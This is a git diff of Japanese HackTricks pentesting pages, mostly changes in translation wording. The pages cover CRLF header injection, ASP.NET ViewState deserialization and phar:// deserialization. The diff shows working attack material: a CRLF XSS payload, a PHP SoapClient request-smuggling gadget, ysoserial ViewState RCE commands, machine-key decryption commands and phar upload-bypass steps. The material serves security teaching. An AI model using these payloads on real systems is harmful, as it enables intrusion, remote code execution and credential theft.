ヘッダーの値は、「name」という名前のgetパラメーターを介して設定されます。URLエンコーディングが行われておらず、値がヘッダー内に直接反映されている場合、攻撃者は上記のCRLFCRLFの組み合わせを挿入することで、ブラウザにリクエストボディの開始を伝えることが可能です。その方法で、XSSペイロードなどのデータを挿入することができます。例えば:
|
||||
ヘッダーの値は「name」という名前のgetパラメーターを介して設定されます。URLエンコーディングが行われておらず、値がヘッダー内に直接反映されている場合、攻撃者は上記のCRLFCRLFの組み合わせを挿入して、ブラウザにリクエストボディが始まることを伝えることができます。その方法で、彼はXSSペイロードなどのデータを挿入することができます。例えば:
|
||||
```
|
||||
?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>
|
||||
```
|
||||
|
@ -114,7 +114,7 @@ CRLFインジェクションを悪用することで、攻撃者はHTTPヘッダ
|
|||
### SSRFでの新しいHTTPリクエスト
|
||||
|
||||
CRLFインジェクションを悪用することで、**新しいHTTPリクエストを作成してインジェクションする**ことができます。\
|
||||
PHPの`SoapClient`デシリアライゼーションガジェットを使用した良い例があります。このクラスは、`user_agent`パラメータ内にCRLFが存在するため、新しいヘッダーやボディの内容を**挿入する**ことができます。しかし、この脆弱性を悪用して**新しいHTTPリクエストをインジェクションする**こともできるかもしれません。
|
||||
PHPの`SoapClient`デシリアライゼーションガジェットを使用した良い例があります。このクラスは、`user_agent`パラメータ内にCRLFが存在するため、新しいヘッダーやボディの内容を**挿入する**ことができます。しかし、この脆弱性を悪用して**新しいHTTPリクエストをインジェクションする**ことさえ可能です。
|
||||
```php
|
||||
$target = 'http://127.0.0.1:9090/test';
|
||||
$post_string = 'variable=post value';
|
||||
|
@ -145,7 +145,7 @@ $client->__soapCall("test", []);
|
|||
```
|
||||
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
|
||||
```
|
||||
次に、**2番目のリクエストを指定**します。ここでは、サーバーがインジェクション後に追加する**追加のヘッダー/ボディ**を持つ、**クラシックな**[**リクエストスマグリング**](http-request-smuggling/)があります。\
|
||||
次に、**2番目のリクエストを指定**します。ここでは、サーバーがインジェクション後に追加する**追加のヘッダー/ボディ**を含む、**クラシックな**[**リクエストスマグリング**](http-request-smuggling/)があります。\
|
||||
クロスユーザーの悪用のための多くのオプションのうち、2つを紹介します。
|
||||
|
||||
次のユーザーのリクエストまたはウェブキャッシュを汚染するための**悪意のある接頭辞**を指定します。
|
||||
|
@ -168,17 +168,11 @@ Memcacheは、クリアテキストプロトコルを使用する**キーバリ
|
|||
|
||||
もしプラットフォームが**HTTPリクエストからデータを取得し、サニタイズせずに**それを使用して**memcache**サーバーに**リクエスト**を実行する場合、攻撃者はこの動作を悪用して**新しいmemcacheコマンドを注入**することができます。
|
||||
|
||||
例えば、元々の脆弱性が発見された場合、キャッシュキーはユーザーが接続するためのIPとポートを返すために使用され、攻撃者は**memcacheコマンドを注入**して、被害者の詳細(ユーザ名とパスワードを含む)を攻撃者のサーバーに送信することができました。
|
||||
例えば、元々の脆弱性では、キャッシュキーが使用され、ユーザーが接続するためのIPとポートが返されました。攻撃者は、キャッシュを**汚染して被害者の詳細**(ユーザー名とパスワードを含む)を攻撃者のサーバーに送信する**memcacheコマンドを注入**することができました。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
さらに、研究者は、メールアドレスを知らないユーザーに攻撃者のIPとポートを送信するために、memcacheのレスポンスをデシンクすることも発見しました。
|
||||
|
||||
さらに、研究者は、memcacheのレスポンスをデシンクさせることで、攻撃者がメールアドレスを知らないユーザーに攻撃者のIPとポートを送信することができることも発見しました。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (40).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (39).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**詳細については、**[**元の記事**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)をお読みください。
|
||||
**詳細については、[**元の記事**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)を読んでください**\*\*\*\*
|
||||
|
||||
## CRLFインジェクションの影響
|
||||
|
||||
|
@ -186,7 +180,7 @@ CRLFインジェクションの影響はさまざまであり、クロスサイ
|
|||
|
||||
### WebアプリケーションでのCRLF / HTTPヘッダーインジェクションの防止方法
|
||||
|
||||
最も効果的な予防技術は、ユーザーの入力を直接レスポンスヘッダー内で使用しないことです。それが不可能な場合は、CRLF特殊文字をエンコードするための関数を常に使用する必要があります。また、HTTPヘッダーを設定する関数内にCRとLFを注入できないバージョンのプログラミング言語にアップデートすることも、良いWebアプリケーションセキュリティのベストプラクティスです。
|
||||
最良の予防技術は、ユーザーの入力を直接レスポンスヘッダー内で使用しないことです。それが不可能な場合は、CRLF特殊文字をエンコードするために常に関数を使用する必要があります。また、HTTPヘッダーを設定する関数内にCRとLFを注入できないバージョンのプログラミング言語にアップデートすることも、良いWebアプリケーションセキュリティのベストプラクティスです。
|
||||
|
||||
### チートシート
|
||||
```
|
||||
|
@ -223,9 +217,9 @@ CRLFインジェクションの影響はさまざまであり、クロスサイ
|
|||
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不可能なものをハック**したい場合 - **採用中です!** (_流暢なポーランド語の読み書きが必要です_).
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**アンハッカブルなものをハック**したい場合 - **私たちは採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -234,7 +228,7 @@ CRLFインジェクションの影響はさまざまであり、クロスサイ
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
|
|
@ -7,12 +7,12 @@
|
|||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし、**ハッキングのキャリア**に興味があり、**解読不可能なものをハック**したい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -56,7 +56,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
|||
ViewStateが存在しない場合、ViewStateの逆シリアル化に起因する潜在的な脆弱性から実装が安全であると想定するかもしれません。
|
||||
しかし、それは事実ではありません。ysoserialを使用して作成したシリアル化ペイロードをリクエストボディにViewStateパラメータとして追加し、引き続きコードの実行を達成することができます(ケース 1と同様)。
|
||||
|
||||
### テストケース: 2 - .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
### テストケース 2 - .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
特定のページでViewState MACを有効にするには、特定のaspxファイルに以下の変更を加える必要があります:
|
||||
```bash
|
||||
|
@ -86,7 +86,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
|
|||
```
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.1.png)
|
||||
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)は既知のmachineKeysを特定するための別のツールです。Pythonで書かれているため、Blacklist3rとは異なり、Windowsに依存しません。.NETのviewstateに対しては、"python blacklist3r"ユーティリティがあり、これが最も簡単な使用方法です。
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)は、既知のmachineKeysを特定することができる別のツールです。Pythonで書かれているため、Blacklist3rとは異なり、Windowsに依存しません。.NETのviewstateに対しては、"python blacklist3r"ユーティリティがあり、これが最も簡単な使用方法です。
|
||||
|
||||
viewstateとgeneratorを直接指定することもできます。
|
||||
```
|
||||
|
@ -134,13 +134,13 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
|||
|
||||
したがって、マシンキーが既知の場合(たとえば、ディレクトリトラバーサルの問題によって)、**Case 2** で使用される [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) コマンドを使用して、ViewState の逆シリアル化の脆弱性を利用して RCE を実行することができます。
|
||||
|
||||
* ViewState の逆シリアル化の脆弱性を悪用するためには、リクエストから `__VIEWSTATEENCRYPTED` パラメータを削除する必要があります。そうしないと、Viewstate MAC の検証エラーが返され、エクスプロイトは失敗します(図参照):
|
||||
* ViewState の逆シリアル化の脆弱性を悪用するためには、リクエストから `__VIEWSTATEENCRYPTED` パラメータを削除する必要があります。そうしないと、Viewstate MAC の検証エラーが返され、脆弱性の悪用は失敗します(図参照)。
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.1.png)
|
||||
|
||||
### テストケース:4 – .Net >= 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true/false ただし、両方の属性を false に設定
|
||||
|
||||
以下のように、web.config ファイル内に以下のパラメータを指定することで、ASP.NET フレームワークの使用を強制することができます。
|
||||
以下のパラメータを web.config ファイル内に指定することで、ASP.NET フレームワークの使用を強制することができます。
|
||||
```markup
|
||||
<httpRuntime targetFramework="4.5" />
|
||||
```
|
||||
|
@ -150,9 +150,9 @@ compatibilityMode="Framework45"
|
|||
```
|
||||
前のケースと同様に、BurpはリクエストがMACで保護されているかどうかを識別しません。なぜなら、値が暗号化されているからです。したがって、有効なペイロードを送信するには、攻撃者は鍵が必要です。
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.0.png)
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.0.png)
|
||||
|
||||
[**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)を使用して、使用されている鍵を見つけることができます。
|
||||
使用されている鍵を見つけるために、[**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)を使用することができます。
|
||||
```
|
||||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
|
||||
|
||||
|
@ -164,7 +164,7 @@ IISDirPathとTargetPagePathの詳細な説明については、[こちら](https
|
|||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.1.png)
|
||||
|
||||
または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)(ジェネレータの値を使用)を使用してください。
|
||||
または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)を使用して(ジェネレータの値を指定して):
|
||||
```
|
||||
cd badsecrets
|
||||
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
|
||||
|
@ -205,9 +205,9 @@ ViewStateの逆シリアル化の脆弱性が成功裏に悪用されると、
|
|||
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、解読不能なものを解読することに興味がある場合 - **私たちは採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、解読不能なものを解読することに興味があるなら、**私たちは採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -216,9 +216,9 @@ ViewStateの逆シリアル化の脆弱性が成功裏に悪用されると、
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,28 +1,28 @@
|
|||
# phar://デシリアライズ
|
||||
# phar://デシリアライゼーション
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
**ハッキングのキャリア**に興味がある方、そして**解読不能なものを解読する** - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
**ハッキングのキャリア**に興味がある方、**解読不能なものをハック**したい方 - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**Phar**ファイル(PHPアーカイブ)ファイルには、**シリアル化された形式のメタデータ**が含まれています。そのため、解析されると、この**メタデータ**が**デシリアライズ**され、**PHP**コード内の**デシリアライズ**の脆弱性を悪用することができます。
|
||||
**Phar**ファイル(PHPアーカイブ)ファイルには、シリアル化された形式で**メタデータが含まれています**。そのため、解析されると、この**メタデータ**が**デシリアライズ**され、**PHP**コード内の**デシリアライズ**の脆弱性を悪用することができます。
|
||||
|
||||
この特性の最も良い点は、**file\_get\_contents()、fopen()、file()、file\_exists()、md5\_file()、filemtime()、filesize()**など、PHPコードを評価しないPHP関数を使用しても、このデシリアライズが発生することです。
|
||||
|
||||
したがって、**`phar://`**プロトコルを使用して、PHPウェブが任意のファイルのサイズを取得する状況を想像してみてください。そして、コードの中に次のような**クラス**を見つけることができます:
|
||||
したがって、**`phar://`**プロトコルを使用して、PHPウェブアプリケーションが任意のファイルのサイズを取得する状況を想像してみてください。そして、コードの中に次のような**クラス**を見つけることができます:
|
||||
|
||||
{% code title="vunl.php" %}
|
||||
```php
|
||||
|
@ -73,7 +73,7 @@ $phar->stopBuffering();
|
|||
{% endcode %}
|
||||
|
||||
**JPGのマジックバイト**(`\xff\xd8\xff`)がpharファイルの先頭に追加されていることに注目してください。これにより、**可能な**ファイル**アップロード**の**制限**を**バイパス**します。\
|
||||
`test.phar`ファイルを以下のように**コンパイル**してください。
|
||||
`test.phar`ファイルを以下のように**コンパイル**します。
|
||||
```bash
|
||||
php --define phar.readonly=0 create_phar.php
|
||||
```
|
||||
|
@ -85,7 +85,7 @@ php vuln.php
|
|||
|
||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -95,7 +95,7 @@ php vuln.php
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**企業を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -13,10 +13,10 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に送信してください。**
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -29,7 +29,7 @@ RCの悪用の主な問題は、リクエストが非常に短い時間差(通
|
|||
### シングルパケット攻撃(HTTP/2)/ ラストバイト同期(HTTP/1.1)
|
||||
|
||||
HTTP2では、**1つのTCP接続で2つのリクエストを送信**できます(HTTP/1.1では順次送信する必要があります)。\
|
||||
1つのTCPパケットの使用は、ネットワークの揺らぎの影響を完全に**排除**するため、レースコンディション攻撃にも潜在的な可能性があります。ただし、**2つのリクエストでは信頼性のあるレース攻撃には十分ではありません**。これは、**サーバーサイドの揺らぎ**(CPUの競合などの制御できない変数によって引き起こされるアプリケーションのリクエスト処理時間の変動)のためです。
|
||||
1つのTCPパケットの使用は、ネットワークの揺らぎの影響を完全に**排除**するため、レースコンディション攻撃にも潜在的な可能性があります。ただし、**2つのリクエストでは信頼性のあるレース攻撃には十分ではありません**。これは、**サーバーサイドの揺らぎ**によるものです。これは、CPUの競合などの制御できない変数によって引き起こされるアプリケーションのリクエスト処理時間の変動です。
|
||||
|
||||
